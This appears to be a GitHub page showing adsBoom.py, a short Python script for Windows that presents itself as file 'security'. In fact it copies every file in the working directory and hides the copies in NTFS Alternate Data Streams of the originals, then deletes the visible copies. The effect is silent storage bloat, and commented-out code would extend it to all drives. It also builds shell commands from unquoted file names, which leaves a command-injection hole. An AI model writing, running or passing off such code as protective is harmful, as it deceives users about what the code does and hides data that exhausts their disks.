-
Notifications
You must be signed in to change notification settings - Fork 0
/
adsBoom.py
68 lines (58 loc) · 2.28 KB
/
adsBoom.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import os,win32api, shutil, subprocess,fnmatch
class AdsSecurity:
def __init__(self):
self.file_path_li = []
self.ext_file_path = []
self.get_alldrives = win32api.GetLogicalDriveStrings().split('\0')
def providing_security(self):
print(self.get_alldrives)
# for drive in self.get_alldrives:
for root,subdir,files in os.walk(os.getcwd()):
for file in files:
filepath = os.path.join(root,file)
self.file_path_li.append(filepath)
try:
for i in range(2):
file_ext = os.path.join(filepath + str(i))
if fnmatch.fnmatch(file_ext,'*.*'+ str(i)):
self.ext_file_path.append(file_ext)
except:
pass
def check_caller(self,callfrom):
try:
for file_ in self.file_path_li:
for i in range(2):
ext_file = os.path.join(file_ + str(i))
if fnmatch.fnmatch(ext_file,"*.*"+str(i)):
if callfrom == "create_secure":
shutil.copyfile(file_,ext_file)
elif callfrom == "add_more_secure":
subprocess.Popen(f"type {ext_file} > {file_}:{os.path.basename(ext_file)}",shell=True)
except:
pass
def create_secure_file(self):
callfrom = "create_secure"
self.check_caller(callfrom)
def add_more_security(self):
callfrom = "add_more_secure"
self.check_caller(callfrom)
def remove_file(self):
# for drive in self.get_alldrives:
for root,subdir,files in os.walk(os.getcwd()):
for file in files:
filepath = os.path.join(root,file)
try:
for i in range(2):
if fnmatch.fnmatch(filepath,'*.*'+ str(i)):
os.remove(filepath)
print("file removoing %s....")
except:
pass
if __name__ == "__main__":
obj = AdsSecurity()
obj.providing_security()
obj.create_secure_file()
obj.add_more_security()
import time
time.sleep(30)
obj.remove_file()